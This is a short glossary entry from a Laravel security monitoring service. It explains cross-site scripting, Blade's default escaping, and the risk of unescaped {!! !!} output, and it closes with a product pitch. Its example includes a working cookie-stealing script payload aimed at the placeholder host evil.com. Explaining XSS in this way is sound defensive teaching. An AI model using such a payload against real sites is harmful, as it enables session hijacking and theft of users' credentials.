Vulnerabilities

What Is Cross-Site Scripting (XSS)?

A vulnerability where an attacker injects malicious JavaScript into web pages viewed by other users. The injected script runs in the victim's browser with the same privileges as legitimate scripts, allowing the attacker to steal session tokens, redirect users, or modify page content.

In Laravel Applications

Laravel's Blade templating engine escapes output by default with {{ }}, which prevents most XSS attacks. XSS vulnerabilities are introduced when developers use {!! !!} (unescaped output) with user-supplied input, or when rendering user content in JavaScript contexts.

Example

Using {!! $user->bio !!} in a Blade template is vulnerable to XSS if the user has entered <script>document.location="https://evil.com?c="+document.cookie</script> as their bio.

Related Terms

Related Articles

Monitor Your Laravel Application's Security

StackShield continuously checks your Laravel application from the outside, catching security issues before attackers find them.

Start Free Trial